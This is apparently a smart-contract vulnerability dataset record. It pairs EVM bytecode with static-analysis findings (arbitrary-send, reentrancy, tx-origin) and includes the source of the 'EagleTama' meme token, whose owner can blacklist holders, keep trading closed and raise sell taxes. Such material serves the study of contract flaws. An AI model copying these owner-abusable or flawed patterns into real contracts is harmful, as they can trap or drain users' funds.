0x6080604052600436106101235760003560e01c80638705fcd4116100a0578063af74ff5b11610064578063af74ff5b1461033d578063c735f3c914610352578063dd62ed3e14610367578063e8078d94146103ad578063fa2b2009146103c257600080fd5b80638705fcd4146102ab5780638b7afe2e146102cb5780638da5cb5b146102e057806395d89b4114610308578063a9059cbb1461031d57600080fd5b8063313ce567116100e7578063313ce567146101f35780633908cfd21461021557806362caa70414610235578063700542ec1461025557806370a082311461027557600080fd5b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461018a578063228e7a91146101b157806323b872dd146101d357600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103d7565b604051610151919061183b565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046117c3565b610469565b6040519015158152602001610151565b34801561019657600080fd5b5069152d02c7e14af68000005b604051908152602001610151565b3480156101bd57600080fd5b506101d16101cc366004611713565b610480565b005b3480156101df57600080fd5b5061017a6101ee366004611783565b6104e0565b3480156101ff57600080fd5b5060035460405160ff9091168152602001610151565b34801561022157600080fd5b506101d1610230366004611713565b610549565b34801561024157600080fd5b506101d1610250366004611713565b61059d565b34801561026157600080fd5b5061017a610270366004611713565b6105f2565b34801561028157600080fd5b506101a3610290366004611713565b6001600160a01b03166000908152600e602052604090205490565b3480156102b757600080fd5b506101d16102c6366004611713565b61061e565b3480156102d757600080fd5b506101a3610690565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610151565b34801561031457600080fd5b506101446106c9565b34801561032957600080fd5b5061017a6103383660046117c3565b6106d8565b34801561034957600080fd5b5061017a6106e5565b34801561035e57600080fd5b506101d161075d565b34801561037357600080fd5b506101a361038236600461174b565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b3480156103b957600080fd5b506101d16107d2565b3480156103ce57600080fd5b506004546101a3565b6060600180546103e6906119e7565b80601f0160208091040260200160405190810160405280929190818152602001828054610412906119e7565b801561045f5780601f106104345761010080835404028352916020019161045f565b820191906000526020600020905b81548152906001019060200180831161044257829003601f168201915b5050505050905090565b6000610476338484610c33565b5060015b92915050565b6000546001600160a01b0316336001600160a01b0316146104bc5760405162461bcd60e51b81526004016104b39061188e565b60405180910390fd5b6001600160a01b03166000908152600b60205260409020805460ff19166001179055565b60006104ed848484610d57565b61053f843361053a85604051806060016040528060288152602001611a4e602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190611225565b610c33565b5060019392505050565b6000546001600160a01b0316336001600160a01b03161461057c5760405162461bcd60e51b81526004016104b39061188e565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b0316336001600160a01b0316146105d05760405162461bcd60e51b81526004016104b39061188e565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600b6020526040812054819060ff161561047a5750600192915050565b6000546001600160a01b0316336001600160a01b0316146106515760405162461bcd60e51b81526004016104b39061188e565b60098054610100600160a81b0319166101006001600160a01b03939093169283021790556000908152600d60205260409020805460ff19166001179055565b600080546001600160a01b0316336001600160a01b0316146106c45760405162461bcd60e51b81526004016104b39061188e565b504790565b6060600280546103e6906119e7565b6000610476338484610d57565b600080546001600160a01b0316336001600160a01b0316146107195760405162461bcd60e51b81526004016104b39061188e565b600a54600090600160b81b900460ff1615610742575050600a805460ff60b81b19169055600090565b50600a805460ff60b81b1916600160b81b1790556001905090565b6000546001600160a01b0316336001600160a01b0316146107905760405162461bcd60e51b81526004016104b39061188e565b600754600581905560068190556040519081527f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc9060200160405180910390a1565b6000546001600160a01b0316336001600160a01b0316146108055760405162461bcd60e51b81526004016104b39061188e565b600a54600160a01b900460ff161561085f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104b3565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561089d308269152d02c7e14af6800000610c33565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d657600080fd5b505afa1580156108ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090e919061172f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095657600080fd5b505afa15801561096a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098e919061172f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109d657600080fd5b505af11580156109ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0e919061172f565b600a80546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610a56816001600160a01b03166000908152600e602052604090205490565b600080610a6b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ace57600080fd5b505af1158015610ae2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b07919061180e565b5050600a805462ff00ff60a01b1981166201000160a01b1790915560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba991906117ee565b5050565b600082610bbc5750600061047a565b6000610bc883856119b1565b905082610bd58583611991565b14610c2c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b3565b9392505050565b6001600160a01b038316610c955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b3565b6001600160a01b038216610cf65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b3565b6001600160a01b038381166000818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b3565b6001600160a01b038216610e1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b3565b60008111610e7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b3565b6000610e8b848461125f565b90506000610ea760ff8316610ea18560646112d5565b90610bad565b90506000610eb58483611317565b600a54909150600160b81b900460ff161561106557600a546001600160a01b0386811691161480610ef35750600a546001600160a01b038781169116145b8015610f085750600a54600160a01b900460ff165b1561106557601054600a546040516312bdf42360e01b81526001600160a01b03888116600483015291821660248201523260448201529116906312bdf42390606401602060405180830381600087803b158015610f6457600080fd5b505af1158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c91906117ee565b15610fb95760405162461bcd60e51b81526004016104b3906118c3565b601054600a546040516312bdf42360e01b81526001600160a01b03898116600483015291821660248201523260448201529116906312bdf42390606401602060405180830381600087803b15801561101057600080fd5b505af1158015611024573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104891906117ee565b156110655760405162461bcd60e51b81526004016104b3906118c3565b61106e85611359565b15611099576007546001600160a01b0386166000908152600e60205260409020541061109957600080fd5b6110a3868661138b565b156110cf576110b286866113d3565b156110c6576005548411156110c657600080fd5b6110cf8661142a565b6001600160a01b0386166000908152600e60205260409020546110f29085611317565b6001600160a01b038088166000908152600e602052604080822093909355908716815220546111219082611459565b6001600160a01b0386166000908152600e602052604080822092909255308152205461114d9083611459565b306000908152600e602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600a54600160b81b900460ff161561121d5760105460405163b25d625960e01b81526001600160a01b03888116600483015287811660248301529091169063b25d625990604401600060405180830381600087803b15801561120457600080fd5b505af1158015611218573d6000803e3d6000fd5b505050505b505050505050565b600081848411156112495760405162461bcd60e51b81526004016104b3919061183b565b50600061125684866119d0565b95945050505050565b6001600160a01b0382166000908152600d6020526040812054819060ff16806112a057506001600160a01b0383166000908152600d602052604090205460ff165b159050806112b3576009805460ff191690555b80156112c7576009805460ff191660051790555b505060095460ff1692915050565b6000610c2c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b8565b6000610c2c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611225565b600a546000906001600160a01b0383811691161480159061047a5750506011546001600160a01b039081169116141590565b600080546001600160a01b038481169116148015906113b857506000546001600160a01b03838116911614155b8015610c2c575050600a54600160a01b900460ff1692915050565b600a546000906001600160a01b03848116911614801561140157506011546001600160a01b03838116911614155b8015610c2c5750506001600160a01b03166000908152600d602052604090205460ff1615919050565b306000908152600e6020526040902054611443826114e6565b15610ba9576114518161152b565b610ba96116d0565b6000806114668385611979565b905083811015610c2c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b3565b600081836114d95760405162461bcd60e51b81526004016104b3919061183b565b5060006112568486611991565b600a54600090600160a81b900460ff161580156115115750600a546001600160a01b03838116911614155b801561047a575050600a54600160b01b900460ff16919050565b600a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061158157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115d557600080fd5b505afa1580156115e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160d919061172f565b8160018151811061162e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526011546116549130911684610c33565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061168d908590600090869030904290600401611909565b600060405180830381600087803b1580156116a757600080fd5b505af11580156116bb573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6009546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611710573d6000803e3d6000fd5b50565b600060208284031215611724578081fd5b8135610c2c81611a38565b600060208284031215611740578081fd5b8151610c2c81611a38565b6000806040838503121561175d578081fd5b823561176881611a38565b9150602083013561177881611a38565b809150509250929050565b600080600060608486031215611797578081fd5b83356117a281611a38565b925060208401356117b281611a38565b929592945050506040919091013590565b600080604083850312156117d5578182fd5b82356117e081611a38565b946020939093013593505050565b6000602082840312156117ff578081fd5b81518015158114610c2c578182fd5b600080600060608486031215611822578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118675785810183015185820160400152820161184b565b818111156118785783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f42656570204265657020426f6f702c20596f752772652061207069656365206f60408201526506620706f6f760d41b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119585784516001600160a01b031683529383019391830191600101611933565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198c5761198c611a22565b500190565b6000826119ac57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119cb576119cb611a22565b500290565b6000828210156119e2576119e2611a22565b500390565b600181811c908216806119fb57607f821691505b60208210811415611a1c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461171057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af8f2fb255d0269540ef17d82b9c8bf671a448fbf9729f1c425d263ab596f46964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,318
0xdf856a069c62bd4c74c5b14476b760aa0c34abf8
/** 🦅 EagleTama 🦅 We are a proud community, one that believes in giving back, and supporting the men and women that fight for a greater cause. The Bald Eagle is our logo and we stand by that and everything it means for Americans. The bald eagle became a national symbol way back in 1782. It was chosen because it represents strength, courage, and freedom. As a community we will embody these traits as we build a strong family that gives back to those that fought for us. We plan to use a portion of our tax funds to help charities for the true heroes in our nation, and give back to those who gave it all for us. We are strong, we are courageous, and we are FREE, we are EagleTama! 🦅 🦅 9% Buy 9% Sell (Raised to 15% first 24 hours) Website: https://www.EagleTama.com Telegram: https://t.me/EAGLETAMA_ERC20 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EagleTama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "EagleTama"; string private constant _symbol = "EAGLETAMA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xac6838D8f3DE65EdB72B46ED65e1c6bF4312bFD3); address payable private _marketingAddress = payable(0xeEa6b80C54ba6457E5CD879e32F66224a5Fc9da2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "Max Transaction Limit"); require(!bots[from] && !bots[to], "Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function startTrading() public onlyOwner { tradingOpen = true; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461054f578063dd62ed3e1461056f578063ea1644d5146105b5578063f2fde38b146105d557600080fd5b8063a2a957bb146104ca578063a9059cbb146104ea578063bfd792841461050a578063c3c8cd801461053a57600080fd5b80638da5cb5b116100d15780638da5cb5b146104445780638f9a55c01461046257806395d89b411461047857806398a5c315146104aa57600080fd5b806374010ece146103e15780637d1db4a5146104015780637f2feddc1461041757600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103775780636fc3eaec1461039757806370a08231146103ac578063715018a6146103cc57600080fd5b80632fd689e314610305578063313ce5671461031b57806349bd5a5e146103375780636b9990531461035757600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102d0578063293230b8146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ac6565b6105f5565b005b34801561020a57600080fd5b506040805180820190915260098152684561676c6554616d6160b81b60208201525b6040516102399190611b8b565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611be0565b610694565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50683635c9adc5dea000005b604051908152602001610239565b3480156102dc57600080fd5b506102626102eb366004611c0c565b6106ab565b3480156102fc57600080fd5b506101fc610714565b34801561031157600080fd5b506102c260185481565b34801561032757600080fd5b5060405160098152602001610239565b34801561034357600080fd5b50601554610292906001600160a01b031681565b34801561036357600080fd5b506101fc610372366004611c4d565b610753565b34801561038357600080fd5b506101fc610392366004611c7a565b61079e565b3480156103a357600080fd5b506101fc6107e6565b3480156103b857600080fd5b506102c26103c7366004611c4d565b610831565b3480156103d857600080fd5b506101fc610853565b3480156103ed57600080fd5b506101fc6103fc366004611c95565b6108c7565b34801561040d57600080fd5b506102c260165481565b34801561042357600080fd5b506102c2610432366004611c4d565b60116020526000908152604090205481565b34801561045057600080fd5b506000546001600160a01b0316610292565b34801561046e57600080fd5b506102c260175481565b34801561048457600080fd5b506040805180820190915260098152684541474c4554414d4160b81b602082015261022c565b3480156104b657600080fd5b506101fc6104c5366004611c95565b610906565b3480156104d657600080fd5b506101fc6104e5366004611cae565b610935565b3480156104f657600080fd5b50610262610505366004611be0565b610aeb565b34801561051657600080fd5b50610262610525366004611c4d565b60106020526000908152604090205460ff1681565b34801561054657600080fd5b506101fc610af8565b34801561055b57600080fd5b506101fc61056a366004611ce0565b610b4c565b34801561057b57600080fd5b506102c261058a366004611d64565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101fc6105d0366004611c95565b610bed565b3480156105e157600080fd5b506101fc6105f0366004611c4d565b610c1c565b6000546001600160a01b031633146106285760405162461bcd60e51b815260040161061f90611d9d565b60405180910390fd5b60005b81518110156106905760016010600084848151811061064c5761064c611dd2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068881611dfe565b91505061062b565b5050565b60006106a1338484610d06565b5060015b92915050565b60006106b8848484610e2a565b61070a843361070585604051806060016040528060288152602001611f18602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611352565b610d06565b5060019392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161061f90611d9d565b6015805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061f90611d9d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107c85760405162461bcd60e51b815260040161061f90611d9d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061081b57506013546001600160a01b0316336001600160a01b0316145b61082457600080fd5b4761082e8161138c565b50565b6001600160a01b0381166000908152600260205260408120546106a5906113c6565b6000546001600160a01b0316331461087d5760405162461bcd60e51b815260040161061f90611d9d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161061f90611d9d565b674563918244f4000081111561082e57601655565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161061f90611d9d565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161061f90611d9d565b60048411156109be5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161061f565b6014821115610a1a5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161061f565b6004831115610a7a5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161061f565b6014811115610ad75760405162461bcd60e51b815260206004820152602360248201527f536